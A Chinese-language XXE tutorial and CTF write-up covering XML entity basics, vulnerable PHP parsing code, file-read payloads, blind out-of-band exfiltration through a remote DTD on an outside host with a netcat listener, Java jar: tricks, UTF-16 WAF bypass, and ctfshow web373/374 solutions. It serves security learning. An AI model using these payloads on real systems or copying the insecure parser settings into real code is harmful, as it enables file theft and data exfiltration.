前言
XXE(XML External Entity)攻击是一种针对应用程序的攻击,它利用了XML解析器的漏洞,通过注入恶意XML实体来实现攻击目的
全称是XML外部实体注入
参考:
https://xz.aliyun.com/t/3357#toc-3
https://github.com/bfengj/CTF/blob/main/Web/java/XXE/Java%E4%B8%AD%E7%9A%84XXE.md
https://tttang.com/archive/1813/
XML 基础
XML 指可扩展标记语言(eXtensible Markup Language)。ajax 的 x 代表的就是 xml。
与 HTML 有点类似,但是 XML 被设计用来传输和存储数据,不用于表现和展示数据,HTML 则用来表现数据。
XML 实体
XML实体 是在 XML 文档中表示数据项的一种方式,而不是使用数据本身。
各种实体内置于 XML 语言的规范中。例如,实体 < 并且 > 表示字符 < 和 >。这些是用于表示 XML 标记的元字符,因此当它们出现在数据中时,通常必须使用它们的实体来表示。
XML 元素
<!ELEMENT stockCheck ANY>
<!-- 表示任何对象都可以在父级<stockCheck></stockCheck>内 -->
<!ELEMENT stockCheck EMPTY>
<!-- 表示它应该为空即其中无对象<stockCheck></stockCheck> -->
<!ELEMENT stockCheck(productId,storeId)>
<!-- 声明<stockCheck>可以有子级<productId>和<storeId> -->
XML 文档类型定义
XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的
DTD 例:
<?xml version="1.0"?> <!--这一行是XML文档定义-->
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header ,msg)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
<!ELEMENT msg (#PCDATA)>
上面这个 DTD 就定义了 XML 的根元素是 message,然后跟元素下面有一些子元素,那么 XML 到时候必须像下面这么写
<message>
<receiver>Myself</receiver>
<sender>Someone</sender>
<header>TheReminder</header>
<msg>This is an amazing book</msg>
</message>
XML 自定义实体
除了在 DTD 中定义元素(其实就是对应 XML 中的标签)以外,我们还能在 DTD 中定义实体(对应XML 标签中的内容)
例:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
这里定义元素为 ANY 说明接受任何元素,但是定义了一个 xml 的实体(实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用),那么 XML 就可以写成这样
<creds>
<user>&xxe;</user> <!--引用xxe实体-->
<pass>mypass</pass>
</creds>
我们使用 &xxe 对上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 "test" 替换。
XML 外部实体
XML 外部实体是一种自定义实体,其定义位于声明它们的 DTD 之外
外部实体的声明需要使用 SYSTEM 关键字,并且必须指定 URL 然后从中该 URL 中加载实体值,这个 url 支持多种协议。例如:
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://example.com" > ]>
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>
XML 参数实体
XML 参数实体是一种特殊的 XML 实体,只能在 DTD 中的其他地方引用。
- 实体名称前使用是的百分号
- 实体参数在引用时使用的是
%符号而不是&符号
<!ENTITY % myparameterentity "my parameter entity value" >
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com"> %xxe; ]>
PHP 解析 xml
<?php
libxml_disable_entity_loader(false); // 启用外部实体加载器
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
利用可能
普通的xml注入
类似sql注入,都是闭合前面的语句另起一段新语句

有回显的xxe文件读取
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user> <!--外部引用xxe实体-->
<pass>mypass</pass>
</creds>
这段代码使用 SYSTEM 关键字,可以从指定的外部 url 加载实体值。这里是用 file 协议加载外部 dtd 文件引用了实体,于是称为外部实体
这样对引用资源所做的任何更改都会在文档中自动更新
还有一种引用方式是使用 引用公用 DTD 的方法,语法如下:
<!DOCTYPE 根元素名称 PUBLIC "DTD标识名" "公用DTD的URI">
这个在我们的攻击中也可以起到和 SYSTEM 一样的作用
实际上,在上面那段代码中,既然能读 dtd 那我们是不是能将路径换一换,换成敏感文件的路径,然后把敏感文件读出来?
结合前面的php解析xml脚本,我们可以post传参以下payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE aaa [
<!ENTITY xxe SYSTEM "file:///flag"> ]>
<aaa>&xxe;</aaa>

这样就能读取到文件了
无回显
只要把php脚本中的输出语句去掉就是无回显了
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
和rce的思路差不多,我们可以进行远程包含DTD实体来带出结果
在自己的vps上准备一个test.dtd文件,内容如下:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://76135132qk.imdo.co:57746?p=%file;'>">
然后nc监听对应端口(我这里是内网穿透,监听的是内网的映射端口)
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://76135132qk.imdo.co/test.dtd">
%remote;%int;%send;
]>
Java 下的 xxe
java 的 file 协议可以列目录而 PHP 不可以
jar 协议
jar:{url}!{path}
处理流程:
- 下载 jar/zip 文件到临时文件中
- 提取出我们指定的文件
- 删除临时文件
可用于从 url 中下载压缩包解压文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "jar:http://127.0.0.1:39777/2.zip!/2.txt">
]>
<xml>
<xxe>&file;</xxe>
</xml>
由于这个流程需要创建文件再删除文件,如果访问压缩包内不存在的文件则会抛出报错,报错内容中可以看到当前 java 服务的路径
过滤绕过
编码绕过
参考[CSAWQual 2019]Unagi
一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。
linux环境下转换字符集
iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml
实战
ctfshow web373
进入题目看到源码
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
首先通过libxml_disable_entity_loader(false)函数,启用XML解析器的外部实体加载功能,允许XML文件中的外部实体被解析和使用
然后这里用到了php://input伪协议,那我们等会传参的时候就是要通过post传入代码执行
接着使用DOMDocument类和simplexml_import_dom函数,将XML文件解析为DOM对象,并将其转换为SimpleXMLElement对象以便于处理。在解析XML文件时,使用了LIBXML_NOENT和LIBXML_DTDLOAD选项,允许加载实体和DTD(文档类型定义)
从SimpleXMLElement对象中提取ctfshow节点的值,并将其作为响应输出
因为启用了外部实体加载功能,所以可以进行xxe文件读取
猜测flag路径在/flag,直接用bp抓包post传参读取flag
payload:
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<test>
<ctfshow>&xxe;</ctfshow>
</test>
ctfshow web374
无回显
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);